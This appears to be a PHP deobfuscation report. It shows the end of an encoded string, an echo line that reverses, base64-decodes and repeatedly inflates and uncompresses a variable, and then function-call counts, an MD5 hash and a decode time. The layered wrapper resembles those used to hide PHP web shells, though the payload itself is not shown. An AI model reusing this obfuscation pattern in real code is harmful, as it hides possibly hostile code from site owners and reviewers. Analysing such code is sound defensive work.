sN79Ju/tJgNQiza/k5Tm+0EkenOPX773utb3mtb3mtb3mtL37etZ72sprLOwLMwOWv08X7AKBA";
echo("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));

?>

Function Calls

strrev 1
gzinflate 3
gzuncompress 2
base64_decode 1

Variables

$gzinflate ==wyN5IcD8f8u6nXc8QhqPb5zlBSXB1lHyg21LtyNxHWd3INGZybEnkVE19g..

Stats

MD5 fb1cc3a4731a3795b9057fa47a4f0b18
Eval Count 0
Decode Time 7411 ms